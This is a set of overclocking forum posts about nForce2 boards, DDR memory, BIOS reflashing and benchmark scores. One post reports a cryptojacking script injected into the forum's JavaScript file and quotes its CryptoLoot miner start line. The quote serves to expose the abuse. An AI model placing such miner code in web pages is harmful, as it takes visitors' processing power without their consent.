I.nfraR.ed

I was thinking the same lately, not just for the mobos, but for the VGAs as well. I will probably order some custom-sized boxes, many companies offer such service and you can customize them the way you want.

I had one 4000, but it was worse clocker than the 3200 VX I still have. Sold it for cheap long time ago, not sure why :). My best kits are BH-5 though - Mushkin 3500 Lvl II and some Corsair XMS 3500.

Lost my mojo. Priorities changed, too. I'm keeping an eye on the comp though, some interesting results might pop out. Have a big pile of untested hardware, but very unlikely to get it out right now, maybe during the cold winter when I don't have anything better to do.

But...you don't know how many I've binned to find that 4GHz+ one ? Plot-twist: 2 (two) :D

4 of my best NF7/NF7-S V2. All of them are with blue slots. PCBs are different colors, though :D. FYI all are v0.53. I have one with black slots somewhere that is comparable FSB-wise, but of all the NF7-S I've tested, blue-slotted were consistently better. I've had 2 blue-slotted NF7-S which could not hit more than 250MHz FSB no matter what, but also had "bad" black-slotted. I also have 2 working AN7, 3 DFI Ultra-B, couple of Soltek's.

Seems like a strap and detection problem, but not sure why. I guess you have tried usual 133/166/200 FSB from bios. You can also try to force the higher FSB via pinmod either on the CPU or on the board (I have one with switches). Shorted SB is the most common problem of all nForce 2 boards, yes. When it happens the SB heats up pretty bad. Good luck with the new board. And contrary to popular belief, the boards with black slots are not always better :).

Just saw this, so you might have solved it already... Tried reflash/hot flash of the bios chip or with a different bios chip? They are not very reliable, so I have some spare bios chips in case something goes wrong. Hot reflash on a working board usually helps to bring it back to a working state. A programmer is also handy.

I need to rebench mine, but it's a da*n hard chip to control and get a decent efficient result.

Very nice! FX890 is the way to go. Honestly, you're the only one with proper efficiency in the comp I've seen so far. Your eff is better than mine and it seems you're spending a lot of time benching 32M on AM3 recently. If you find golden CPU, I will have to rebench and try to improve :P

Nothing a voltmod can't fix ? But it also needs ocp, vdimm, nb and, sb mods to really shine. A good sample AN7 or NF7 with modded bios is on par efficiency wise and easier to work with. More reliable, too.

About 15-16sec off.

That's correct - 960 6-6-6 is the feasible maximum with Deneb and needs really good IMC. I've done 1000 on one sample too, but wasn't stable and usable no matter the timings. For Thuban PSC is the way to go (maybe BBSE would be good too, not sure), especially full pot where its IMC gets picky. chew* told me that and I've experienced the same. Controller doesn't care about vDIMM though, however I've never needed 2V+ on my GTX2's to maximize timings on this platform. IIRC it used to be in the 1.85 - 1.9V range. But my set is very good, I think.

Very nice CPU, but horrible efficiency :p Rollback the bios version to some of the oldest 2-3 if you're going to bench with the CHVF.

He was basically asking if there's a better platform for DDR(1) or is s.939 the best (ideal) one...

Some TCCD scale up to 3.7-3.8V, others stop at 3.3-3.4V, but that's not a healthy voltage for these chips. I also have sticks that don't like higher than 3.2V. They do exist, but chips in 512MB sticks are better clocking.

I have GF256 It was used in one of the stages of Team Cup 2012.

Btw, is 6-6-5 2000 possible on this platform with Hypers or is it too hard for the chipset? I'm a noob on this platform . And what voltage you're running for these timings. I'm around 1.9V with my GTX2's and I know they are very decent.

I was looking at the 32M Challenge tables (4GHz): http://forum.hwbot.org/showthread.php?t=146265 Haven't uploaded my score, since I was only testing my board and where I am in terms of performance. Should have some screenshots on the SSD though. PS: I don't understand the challenges, either. There are 3 different timers.

Have to get a Wolfdale and might join the party. Have good hypers and ok-ish P5E3 Premium. I was able to kinda match Noxinite's Conroe score without much effort, but I don't have any Wolfdales. Don't have big experience with this platform, though.

The folder seems to be there, but I guess dropbox made some changes and previous shared links are now invalid. Link to the whole folder: https://www.dropbox.com/sh/b702d3y6guzdzyy/AAAq_b0WcaF1fIiQNrUdTjB5a?dl=0

I hope this is not an inside job without warning users and it is some kind of hack. It is coming from the global vbulletin JS file.

Look what happens once you allow it by disabling adblock and re-enabling it: Trying to do fetch every 1-2 second You should clear browser cache, close browser and open again to see it go. Code var miner = new CryptoLoot.Anonymous('5fc6284524573c64cd093a71e70bae0a08af8742562a'); miner.start()");

I can confirm! Very shady practice. I'm really disappointed. Does not affect me, since I use blockers, but... After disabling uBlock Origin on hwbot forum, CPU goes to 100% on all cores.

The most enjoyable benchmark to explore scores on hwbot...not. No screenshot, no rig pictures, no readings on CPU clocks, mem speed and timings, just a number in the rankings. Fore sure very entertaining for the public. Said noone ever. Nothing against you, Roberto. Don't get me wrong.

I would suggest to use Asus/Asrock tools to patch your own version of Windows. I'm using a stripped down SP1 and have integrated the drivers with NTLite, but the tools should automate the process. Can't share it though, for obvious reasons.